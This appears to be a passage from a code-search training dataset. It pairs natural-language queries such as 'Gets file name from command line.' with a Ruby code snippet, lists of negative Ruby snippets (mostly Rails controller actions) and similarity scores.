@seat_incumbency = @seat_incumbency.first
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @constituency = Constituency.find(params[:id])\n\n respond_to do |format|\n if @constituency.update_attributes(params[:constituency])\n flash[:notice] = 'Constituency was successfully updated.'\n format.html { redirect_to(@constituency) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @constituency.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @constituency = Constituency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @constituency }\n end\n end",
"def show\n @constitution = Constitution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @constitution }\n end\n end",
"def seat_incumbency_text(seat_incumbency, first_incumbency_start_date)\n translation_key = 'lords'\n translation_key = 'commons' if seat_incumbency_is_grouped_object?(seat_incumbency) || seat_incumbency&.house_of_commons?\n\n t(\"#{translation_key}.seat_incumbency_text\", start_date: first_incumbency_start_date)\n end",
"def update\n @constitution = Constitution.find(params[:id])\n\n respond_to do |format|\n if @constitution.update_attributes(params[:constitution])\n format.html { redirect_to @constitution, notice: 'Constitution was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @constitution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @constituency = Constituency.new(params[:constituency])\n\n respond_to do |format|\n if @constituency.save\n flash[:notice] = 'Constituency was successfully created.'\n format.html { redirect_to(@constituency) }\n format.xml { render :xml => @constituency, :status => :created, :location => @constituency }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @constituency.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_constituency\n @constituency = Constituency.find_by_id(current_user.constituency_id)\n# @constituency = Constituency.find_by_user_id(current_user.id)\n end",
"def lookup\n @constituency = @request.get.first\n\n redirect_to constituency_path(@constituency.graph_id)\n end",
"def show\n @competency = @resource.competency\n breadcrumb\n end",
"def set_constat\n @constat = Constat.find(params[:id])\n end",
"def draw()\n @ucEncounters.draw()\n @ucDefeated.draw()\n @ucEscaped.draw()\n @ucExp.draw()\n @ucGold.draw()\n end",
"def impact_display(errata)\n errata.short_impact.present? ?\n \"<span title='#{errata.security_impact}' class='impact_indicator impact_#{errata.short_impact.downcase}'>[#{errata.short_impact.upcase}]</span>\".html_safe :\n \"\"\n end",
"def update\n respond_to do |format|\n if @constat.update(constat_params)\n format.html { redirect_to @constat, notice: 'Constat was successfully updated.' }\n format.json { render :show, status: :ok, location: @constat }\n else\n format.html { render :edit }\n format.json { render json: @constat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @constituency = Parliament::Utils::Helpers::FilterHelper.filter(@request, 'ConstituencyGroup').first\n end",
"def show\n @charge = Charge.find(params[:id])\n @competences = @charge.competences\n @title = \"Cargo\"\n \n end",
"def update\n respond_to do |format|\n if @concert.update(concert_params)\n format.html { redirect_to @concert, notice: 'Concert was successfully updated.' }\n #TODO: localise the previous string\n format.json { render :show, status: :ok, location: @concert }\n else\n format.html { render :edit }\n format.json { render json: @concert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competency }\n end\n end",
"def update\n @tramite_constitucional = TramiteConstitucional.find(params[:id])\n\n respond_to do |format|\n if @tramite_constitucional.update_attributes(params[:tramite_constitucional])\n format.html { redirect_to @tramite_constitucional, notice: 'Tramite constitucional was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tramite_constitucional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\n @venue = Venue.find(params[:id])\n @concerts = Concert.where(:venue_id=>@venue.id)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def new\n @constituency = Constituency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @constituency }\n end\n end",
"def show\n flash[:commissioning_id] = params[:id]\n super( @commissioning.label )\n end",
"def constituency\n constituencies.first\n end",
"def show\n @insurance_co = InsuranceCo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @insurance_co }\n end\n end",
"def show\n @benefit_category = BenefitCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @benefit_category }\n end\n end",
"def draw()\n @ucStat.draw()\n @ucCompareStat.draw()\n end",
"def show\n @title_view = 'Estados de Conservación'\n @cultural_heritage_conservational_state = CulturalHeritage::ConservationalState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cultural_heritage_conservational_state }\n end\n end",
"def edit\n\t\t@beneficiary = Beneficiary.find(params[:id])\n\tend",
"def destroy\n @constituency = Constituency.find(params[:id])\n @constituency.destroy\n\n respond_to do |format|\n format.html { redirect_to(constituencies_url) }\n format.xml { head :ok }\n end\n end",
"def update\n @condolence = Condolence.find(params[:id])\n\n respond_to do |format|\n if @condolence.update_attributes(params[:condolence])\n format.html { redirect_to @condolence, notice: 'Condolence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @condolence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @insurance_co = InsuranceCo.find(params[:id])\n\n respond_to do |format|\n if @insurance_co.update_attributes(params[:insurance_co])\n format.html { redirect_to(@insurance_co, :notice => 'Insurance co was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @insurance_co.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @incidentfollowup = Incidentfollowup.new\n @incidentfollowup.incident_id = params[:id]\n @investigation = Investigation.where(incident_id: params[:id]).first\n\n @witness = Witness.new\n @witness.incident_id = params[:id]\n @witnesses = Witness.where(incident_id: params[:id]).order(\"id\")\n\n @victim = Victim.new\n @victim.incident_id = params[:id]\n @victims = Victim.where(incident_id: params[:id]).order(\"id\")\n\n @incidentattachment = Incidentattachment.new\n @incidentattachment.incident_id = params[:id]\n\n @action_required = ActionRequired.new\n @action_required.incident_id = params[:id]\n @action_requireds = ActionRequired.where(incident_id: params[:id])\n end",
"def show\n @tramite_constitucional = TramiteConstitucional.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tramite_constitucional }\n end\n end",
"def show\n load_plan\n load_curriculum_for_show_and_edit\n authorize! :read, @curriculum\n\n @competences = Competence.where(:curriculum_id => @curriculum.id, :parent_competence_id => nil).includes([{:children => :localized_description}, :localized_description]).all\n #@competences = @curriculum.competences.joins(:competence_descriptions).includes(:localized_description, :skills => [:localized_description]).where(:parent_competence_id => nil, :competence_descriptions => {:locale => I18n.locale}) .order('competence_descriptions.name')\n @competences.sort! { |competence, other| competence.localized_name <=> other.localized_name }\n\n if @study_plan\n @chosen_competence_ids = @study_plan.competence_ids.to_set\n else\n @chosen_competence_ids = []\n end\n \n respond_to do |format|\n format.html { render :action => :show, :layout => 'fixed' }\n end\n \n log(\"view_competences\")\n end",
"def show\n @college_benefit = CollegeBenefit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @college_benefit }\n end\n end",
"def render\n @case = Case.find(self.case_id)\n end",
"def create\n @conductum = Conductum.new(conductum_params)\n @conductum.interno_id=params[:interno_id]\n\n @id=@conductum.interno_id\n if @conductum.save\n flash[:success] = 'Conducta fue creado exitosamente'\n redirect_to @conductum\n else\n render action: \"new\"\n end\n \n \n end",
"def show\n @course_proficiency = CourseProficiency.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @course_proficiency }\n end\n end",
"def update\n @violency = Violency.find(params[:id])\n\n respond_to do |format|\n if @violency.update_attributes(params[:violency])\n format.html { redirect_to(@violency, :notice => 'Violency was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @violency.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @benefit_category = BenefitCategory.find(params[:id])\n\n respond_to do |format|\n if @benefit_category.update_attributes(params[:benefit_category])\n format.html { redirect_to @benefit_category, notice: 'Benefit category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @benefit_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def draw()\n @cEquipKind.draw()\n @ucIcon.draw()\n @cEquipName.draw()\n end",
"def set_constituency\n @constituency = Constituency.find(params[:id])\n @valid_votes_sum = @constituency.valid_votes.sum('quantity')\n @invalid_votes_sum = @constituency.invalid_votes.sum('quantity')\n end",
"def show\n @critical_factor = CriticalFactor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critical_factor }\n end\n end",
"def update\n @concour = Concour.find(params[:id])\n\n respond_to do |format|\n if @concour.update_attributes(params[:concour])\n format.html { redirect_to @concour, notice: 'Concour was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @concour.errors, status: :unprocessable_entity }\n end\n end\n end",
"def constituency_loc(constituency)\n Cachy.cache(\"const\" + constituency, hash_key: true) {constituency_loc_real constituency }\nend",
"def update\n @cue = Cue.find(params[:id])\n\n respond_to do |format|\n if @cue.update_attributes(params[:cue])\n format.html { redirect_to @cue, notice: 'Cue was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @covariate = Covariate.find(params[:id])\n\n if @covariate.trait.nil?\n flash[:error] = 'This covariate is not associated with a trait! Consider removing it.'\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @covariate }\n format.csv { render :csv => @covariate }\n format.json { render :json => @covariate }\n end\n end",
"def set_competency\n @competency = Competency.find(params[:id])\n end",
"def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @concert }\n end\n end",
"def update\n if (user_signed_in? && ([2].include?(current_user.role)))\n @title_view = 'Estados de Conservación'\n @cultural_heritage_conservational_state = CulturalHeritage::ConservationalState.find(params[:id])\n\n respond_to do |format|\n if @cultural_heritage_conservational_state.update_attributes(params[:cultural_heritage_conservational_state])\n format.html { redirect_to(@cultural_heritage_conservational_state, :notice => 'Se ha actualizado correctamente el estado de conservacion.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cultural_heritage_conservational_state.errors, :status => :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end",
"def update\n @competency = Competency.find(params[:id])\n\n respond_to do |format|\n if @competency.update_attributes(params[:competency])\n format.html { redirect_to @competency, notice: 'Competency was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @competency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @encounter_reason = EncounterReason.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @encounter_reason }\n end\n end",
"def set_constituency_duplicate\n @constituency_duplicate = ConstituencyDuplicate.find(params[:id])\n end",
"def show\n #REQUIRES: existence of contest with :id\n #EFFECTS: allows rendering of one particular contest and its properties\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contest }\n end\n end",
"def edit_score\n @owned_certification = OwnedCertification.find(params[:id])\n end",
"def draw()\n @ucIcon.draw()\n @cSkillName.draw()\n @cSkillMpCost.draw()\n end",
"def show_competition\n competition = Competition.find(params[:id])\n competitionuser = CompetitionsUser.find(:first,:conditions=>[\"user_id = ? and competition_id = ? \",current_user.id,competition.id])\n p competitionuser\n p \"yes this is comp userrr\"\n if logged_in?\n @competitionuserenteredlist = CompetitionsUser.find(:all,:conditions=>[\"user_id = ? \",current_user.id])\n @exhibitionuserlist = current_user.exhibitions_users.all(:include => [:exhibition], :order => 'created_at DESC')\n end\n columnnameandheader = Columnnameandheader.find(:all,:conditions=>[\"idoffieldwithtablename = ?\",competition.id.to_s+\"competition\"]) if competition\n @oldlabelvalue={}\n if columnnameandheader\n columnnameandheader.each do |x| \n @oldlabelvalue[x.column_header] = x.column_value\n end\n end \n \n \n render :update do |page|\n \n page['container'].replace_html(:partial=>\"show_competition\",:locals=>{:competition=>competition,:competitionuser=>competitionuser})\n\n end\n end",
"def draw()\n @ucActStates.draw()\n @cCharImage.draw()\n @cCharName.draw()\n @ucCharLvl.draw()\n @cHpStatGauge.draw()\n @ucHpStat.draw()\n @cMpStatGauge.draw()\n @ucMpStat.draw()\n @cExpGauge.draw()\n @ucExp.draw()\n end",
"def draw()\n @ucActStates.draw()\n @cHpStatGauge.draw()\n @ucHpStat.draw()\n @cMpStatGauge.draw()\n @ucMpStat.draw()\n @ucAtkStat.draw()\n @ucDefStat.draw()\n @ucSpiStat.draw()\n @ucAgiStat.draw()\n @ucEvaStat.draw()\n @ucHitStat.draw()\n @ucCriStat.draw()\n end",
"def show\n @concerts = Concert.find(params[:id])\n end",
"def update\n @course_proficiency = CourseProficiency.find(params[:id])\n\n respond_to do |format|\n if @course_proficiency.update_attributes(params[:course_proficiency])\n format.html { redirect_to(@course_proficiency, :notice => 'Course proficiency was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course_proficiency.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n if @concert.update_attributes(concert_params)\n format.html { redirect_to(@concert, :notice => 'Concert was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @concert.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @contract_cost = ContractCost.find(params[:id])\n\n respond_to do |format|\n if @contract_cost.update_attributes(params[:contract_cost])\n format.js {\n if params[:render_nothing]\n render :nothing => true\n else\n @inactive_markups = Markup.scoped - @contract.markups\n @contract_costs = @contract.costs\n end\n }\n format.html { redirect_to(contract_contract_cost_path(@contract, @contract_cost), :notice => 'Contract cost was successfully updated.') }\n format.xml { head :ok }\n else\n format.js\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contract_cost.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @incident = Incident.find(params[:id])\n\n respond_to do |format|\n\t@incident.project = session[:project]\n if @incident.update_attributes(params[:incident])\n flash[:notice] = t 'flash.incident_update'\n format.html { redirect_to(@incident) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incident.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def incident_list_by_id(statuspage_id)\n request :method => :get,\n :url => @url + 'incidents/' + statuspage_id\n end",
"def show\n @notice = Notice.get(params[:id])\n \n if @notice\n @menu = \"board\"\n @board = \"notice\"\n @section = \"show\"\n \n @notice.hit_cnt += 1\n @notice.save\n \n render 'notice'\n else\n redirect_to '/notices'\n end\n end",
"def show\n @notice = Notice.get(params[:id])\n \n if @notice\n @menu = \"board\"\n @board = \"notice\"\n @section = \"show\"\n \n @notice.hit_cnt += 1\n @notice.save\n \n render 'notice'\n else\n redirect_to '/notices'\n end\n end",
"def constituency_params\n params.require(:constituency).permit(:ballots, valid_votes_attributes: [:id, :quantity, :committee_id], invalid_votes_attributes: [:id, :quantity, :reason_id])\n end",
"def set_surgical\n @surgical = Surgical.find(params[:id])\n add_breadcrumb @surgical, @surgical\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"def update\n \n if @conductum.update(conductum_params)\n flash[:success] = 'Conducta fue actualizado exitosamente'\n redirect_to @conductum\n else\n render action: \"edit\"\n end\n \n end",
"def update\n @breadcrumb = 'update'\n @insurance = Insurance.find(params[:id])\n @insurance.updated_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @insurance.update_attributes(params[:insurance])\n format.html { redirect_to @insurance,\n notice: (crud_notice('updated', @insurance) + \"#{undo_link(@insurance)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @insurance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_liability\n @liability = Liability.find(params[:id])\n end",
"def draw()\n @cLabel.draw()\n @cValue.draw()\n end",
"def show\n @counterparty = Counterparty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @counterparty }\n end\n end",
"def show\n @treatment = Treatment.find(params[:id])\n load_encounter_actions #to set the encounter actions\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @treatment }\n end\n end",
"def update\n @conclusion = Conclusion.find(params[:id])\n\n respond_to do |format|\n if @conclusion.update_attributes(params[:conclusion])\n format.html { redirect_to @conclusion, notice: 'Conclusion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conclusion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @income = budget.income(params[:id])\n @account = budget.account(params[:account_id])\n render layout: !request.xhr?\n end",
"def show\n @concour = Concour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concour }\n end\n end",
"def new\n @constitution = Constitution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @constitution }\n end\n end",
"def update\n if (user_signed_in? && ([2].include?(current_user.role)))\n @cultural_heritage_type_cultural_institution = CulturalHeritage::TypeCulturalInstitution.find(params[:id])\n @title_view = 'Tipos de Institución Cultural'\n respond_to do |format|\n if @cultural_heritage_type_cultural_institution.update_attributes(params[:cultural_heritage_type_cultural_institution])\n format.html { redirect_to(@cultural_heritage_type_cultural_institution, :notice => 'Se ha actualizado correctamente el tipo de institucion cultural.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cultural_heritage_type_cultural_institution.errors, :status => :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end",
"def update\n @concert = Concert.find(params[:id])\n @band = Band.find(params[:band_id])\n if @concert.update_attributes(params[:concert])\n flash[:notice] = 'Concert was successfully updated.'\n redirect_to edit_admin_band_concert_path(@band, @concert)\n else\n render :action => \"edit\"\n end\n end",
"def show\n \t@encounter = Encounter.find(params[:id])\n \n # allow student to view only their own encounters\n if (@user.primary_role == \"Student\") && (@encounter.created_by != @user.id)\n render :file => \"public/401.html\", :status => :unauthorized \n return\n end\n\n\t @encounterDiagnoses = @encounter.diagnoses\n\t @encounterProcedures = @encounter.procedures\n @resources = Resource.find_by_encounter(@encounter.id)\n @rel_resources = Resource.find_related_by_encounter(@encounter.id, \n @user.id, @user.primary_role)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @encounter }\n end\n end",
"def showCourseInfo\n cid = params[:cid]\n @course = Course.find_by_id(cid)\n @course\n end",
"def update\n respond_to do |format|\n if @incidentcategory.update(incidentcategory_params)\n format.html { redirect_to @incidentcategory, notice: 'Incidentcategory was successfully updated.' }\n format.json { render :show, status: :ok, location: @incidentcategory }\n else\n format.html { render :edit }\n format.json { render json: @incidentcategory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incidence.update(incidence_params)\n format.html { redirect_to @incidence, notice: 'Incidencia actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @incidence }\n else\n format.html { render :edit }\n format.json { render json: @incidence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @critical.update(critical_params)\n format.html { redirect_to @critical, notice: 'Critical was successfully updated.' }\n format.json { render :show, status: :ok, location: @critical }\n else\n format.html { render :edit }\n format.json { render json: @critical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def name_with_seat_incumbency_text(person_display_name, seat_incumbency_text)\n \"#{person_display_name} #{seat_incumbency_text}.\"\n end",
"def new_encounter_event_condition\n @encounter_event = EncounterEvent.find(params[:encounter_event_id])\n \n respond_to do |format|\n format.html # new_encounter_event_condition.haml\n end\n end",
"def set_conductum\n @conductum = Conductum.find(params[:id])\n end",
"def create\n @constitution = Constitution.new(params[:constitution])\n\n respond_to do |format|\n if @constitution.save\n format.html { redirect_to @constitution, notice: 'Constitution was successfully created.' }\n format.json { render json: @constitution, status: :created, location: @constitution }\n else\n format.html { render action: \"new\" }\n format.json { render json: @constitution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_injury\n @injury = Injury.find(params[:id])\n add_breadcrumb @injury, @injury\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"def update\n respond_to do |format|\n if @competency_unit.update(competency_unit_params)\n format.html { redirect_to certification_scheme_path(@competency_unit.certification_scheme), notice: 'Competency unit was successfully updated.' }\n format.json { render :show, status: :ok, location: @competency_unit }\n else\n format.html { render :edit }\n format.json { render json: @competency_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show_enumeration\n self.instance = model.find(params[:id])\n rel_type = model_ui.scalars[params[:enumeration].to_sym]\n render(:file => rel_type.show_view.partial, :use_full_path => false,\n :locals => {:item => instance, :relationship => rel_type})\n end",
"def show\n @participant = show_participant(params[:id])\n\n @memberships = @participant.memberships.all\n\n if @memberships.empty?\n @wristband = 'None - No organizations'\n elsif !@participant.has_signed_waiver\n @wristband = 'None - No waiver signature'\n else\n building_statuses = @memberships.map { |m| m.organization.organization_category.building }\n @wristband = if building_statuses.include?(true)\n @wristband_colors[:building]\n else\n @wristband_colors[:nonbuilding]\n end\n\n certs = @participant.certifications.map(&:certification_type)\n if certs.include?(CertificationType.find_by(name: 'Scissor Lift'))\n @wristband += \" and #{@wristband_colors[:scissor_lift]}\"\n end\n end\n end",
"def show\n @incomeclassification = Incomeclassification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @incomeclassification }\n end\n end",
"def draw(pv)\n if App::Settings.show_constellations\n # Get the in-view constellations\n in_view_constellation_names = []\n App::Settings.constellation_names.members.each do |con|\n con.cart_proj = pv * con.cart_world \n if con.cart_proj[0,0].between?(-1,1) && con.cart_proj[1,0].between?(-1,1) && con.cart_proj[2,0].between?(0,1)\n in_view_constellation_names << con\n end\n end\n\n # Draw in-view constellations\n win = App::WIN.window\n in_view_constellation_names.each do |con|\n xpos, ypos = con.screen_coords(win)\n if (xpos + (con.name).length / 2 + 1) > win.maxx\n win.setpos(ypos, win.maxx - (con.name).length - 1)\n else\n win.setpos(ypos,xpos)\n end\n win.addstr(con.name)\n end\n end\n end",
"def show\n @performance_benefit_std = PerformanceBenefitStd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @performance_benefit_std }\n end\n end",
"def show\n if (params[:id])\n @independent_class_data = IndependentClassData.find(params[:id])\n @dependent_classes = @independent_class_data.dependent_classes\n logger.debug @independent_class_data.bruinwalk_rating.overall_rating\n end\n\n render layout: false\n end",
"def show\n authorize @property_and_casualty\n @insurance_card = @property_and_casualty\n @group_label = \"Property & Casualty\"\n @group_documents = DocumentService.new(:category => @insurance_card.category).get_insurance_documents(resource_owner, @group_label, params[:id])\n session[:ret_url] = general_view? ? property_path(@property_and_casualty) : property_and_casualty_shared_view_path(@shared_user, @property_and_casualty)\n end",
"def update\n @incident_kind = IncidentKind.find(params[:id])\n\n respond_to do |format|\n if @incident_kind.update_attributes(params[:incident_kind])\n format.html { redirect_to @incident_kind, notice: 'Incident kind was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_kind.errors, status: :unprocessable_entity }\n end\n end\n end",
"def display_resource(coin)\n \"#{coin.name} (#{coin.symbol})\"\n end"
] | [
"0.6155001",
"0.6058926",
"0.5584382",
"0.5560938",
"0.5481249",
"0.5457177",
"0.5403604",
"0.5355283",
"0.5161771",
"0.51590693",
"0.5157324",
"0.513538",
"0.5094399",
"0.4992046",
"0.49698243",
"0.4960046",
"0.49599808",
"0.49533534",
"0.49407077",
"0.49370998",
"0.49298185",
"0.49280667",
"0.4923981",
"0.49180096",
"0.48971826",
"0.4894797",
"0.48888025",
"0.48808673",
"0.48620108",
"0.4859426",
"0.4847488",
"0.48422068",
"0.48421192",
"0.48379135",
"0.48271698",
"0.48044086",
"0.47906533",
"0.4787648",
"0.47681114",
"0.4764086",
"0.47593036",
"0.47544417",
"0.4748183",
"0.474511",
"0.47449416",
"0.4743812",
"0.47435123",
"0.474291",
"0.47400746",
"0.47308797",
"0.47288296",
"0.47144982",
"0.47116432",
"0.4706973",
"0.47067437",
"0.47028732",
"0.4697313",
"0.46937075",
"0.46840557",
"0.46840554",
"0.46821174",
"0.46793747",
"0.46787274",
"0.4677466",
"0.4667625",
"0.4667625",
"0.46599913",
"0.46567103",
"0.4650751",
"0.46499994",
"0.4644345",
"0.46391088",
"0.46341172",
"0.46296772",
"0.4626811",
"0.46223736",
"0.4622156",
"0.462198",
"0.46219474",
"0.46204546",
"0.4618245",
"0.46175227",
"0.46173108",
"0.46133396",
"0.461081",
"0.4608486",
"0.46059573",
"0.46017304",
"0.45996022",
"0.4597157",
"0.45952603",
"0.45863017",
"0.45857015",
"0.4582627",
"0.4574118",
"0.45735857",
"0.45725533",
"0.45709997",
"0.45706248",
"0.4568968"
] | 0.46784168 | 63 |
Gets file name from command line. | def print_all(f) #function definition is used to read from file and prints the file.
puts f.read
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def filename\n return @args[:fname]\n end",
"def filename\n return @args[\"fname\"]\n end",
"def get_filename\n filename = gets.chomp\n end",
"def get_file()\n puts(\"Please enter a file path: \")\n for arg in ARGV\n \tname = arg\n end\n print meta_data(name)\n name\nend",
"def get_filename(line)\n parts = line.split(\" \")\n filename_b = parts[3]\n filename_b[2..-1]\n end",
"def get_filename(file)\n File.basename(file)\n end",
"def program_name\n File.basename($0)\n end",
"def get_file(line)\n line.match(/-w (.+) -p/)[1]\n end",
"def file_name\n File.basename(file_path)\n end",
"def filename\n return @filename if @filename\n name.downcase.gsub(/\\W/, '_').squeeze('_')\n end",
"def generated_file_name(*args)\n return args.first.to_param.to_s\n end",
"def get_file_name \n send_cmd(\"get_file_name\")\n end",
"def getFileName\r\n puts \"Please enter the filename with the extension, for example (input1.txt)\"\r\n puts \"Note that the file must be within the same directory as the ruby file\"\r\n temp = gets.chomp\r\n @FileName = temp\r\n puts \"Opening the following file: \" + @FileName\r\n readFileContents\r\n end",
"def name\n @name ||= filename.split(\".\").first.sub(/^_/, \"\")\n end",
"def file_name\n File.basename @path\n end",
"def job_name\n return settings[:job_name] if settings[:job_name]\n relevant_filename = args.compact.uniq.map { |path| File.basename(path, '.rb') }.join('-')\n \"#{relevant_filename}---#{input_paths}---#{output_path}\".gsub(%r{[^\\w/\\.\\-\\+]+}, '')\n end",
"def name\n @name ||= File.basename(file).chomp(File.extname(file))\n end",
"def program_name\n @program_name || File.basename($0, '.*')\n end",
"def filename\n File.basename(path)\n end",
"def name\n file.partition(base).last.gsub(/[_\\/]/, \" \").strip\n end",
"def basename\n File.basename(filename)\n end",
"def raw_script_name\n File.basename($0)\n end",
"def get_filename (file)\n\t\tif file.is_a? File\n\t\t\tfile = file.path\n\t\tend\n\t\treturn file\n\tend",
"def file_name\n @file_name ||= File.basename tree\n end",
"def filename\n File.basename( fullpath )\n end",
"def filename\n @file.basename.to_s\n end",
"def filename\n path && File.basename(path)\n end",
"def filename\n unless @filename\n @filename = @path.basename.to_s\n end\n\n @filename\n end",
"def name() @filename end",
"def name\n file.basename('.rb').to_s if file\n end",
"def name\n file.basename('.rb').to_s if file\n end",
"def name\n @name ||= File.basename(path)\n end",
"def name\n @name ||= File.basename(path)\n end",
"def file_name(at_path = nil)\n at_path ||= @full_path\n File.basename at_path, '.*'\n end",
"def file_name(at_path = nil)\n at_path ||= @full_path\n File.basename at_path, '.*'\n end",
"def filename\n unless @filename\n load_file_params\n end\n @filename\n end",
"def basename\n filename.chomp(extname)\n end",
"def filename\n @parts[-1]\n end",
"def file_name name\n File.basename(name).sub(/\\.[^\\.]*/, '')\n end",
"def file_name name\n File.basename(name).sub(/\\.[^\\.]*/, '')\n end",
"def name\n filename\n end",
"def name\n filename\n end",
"def name\n $0.split(\"/\").last\n end",
"def file_name\n return unless @file\n\n @file.absolute_name\n end",
"def base file, ext; return File.basename file, ext end",
"def base file, ext; return File.basename file, ext end",
"def name\n @name ||= File.basename(path)\n end",
"def get_command_line_argument\n if ARGV.empty?\n puts \"Usage: ruby lookup.rb <Domain>\"\n exit\n end\n ARGV.first\nend",
"def parse_arguments\n @arguments = ARGV.collect { |arg| arg.strip }\n @filename = Pathname.new(@arguments.first)\n end",
"def filename\n get \"filename\"\n end",
"def name\n ::File.basename(path)\n end",
"def basename=(_arg0); end",
"def name\n @name ||= ::File.basename(@path)\n end",
"def filename\n return unless url\n\n ::File.basename(url.split(\"?\").first)\n end",
"def short_filename\n return $1 if @filename =~ %r{.*/(.*/[^/]+)$}\n return @filename\n end",
"def short_filename\n return $1 if @filename =~ %r{.*/(.*/[^/]+)$}\n return @filename\n end",
"def name\n File.basename(path)\n end",
"def main_name(path)\n File.basename(path).sub(/\\.[^\\.]+$/,'')\n end",
"def output_file\n if @argv.include?(\"-o\")\n out = @argv[(@argv.index(\"-o\"))+1] \n Error::message(9) if out.nil? || out == @source || out == \"-d\" || out == \"--debug\"\n return out\n else\n return \"progfile.dat\"\n end\n end",
"def syncer_name\n ARGV.detect { |arg| arg !~ /^--/ }\n end",
"def name()\n basename.to_s\n end",
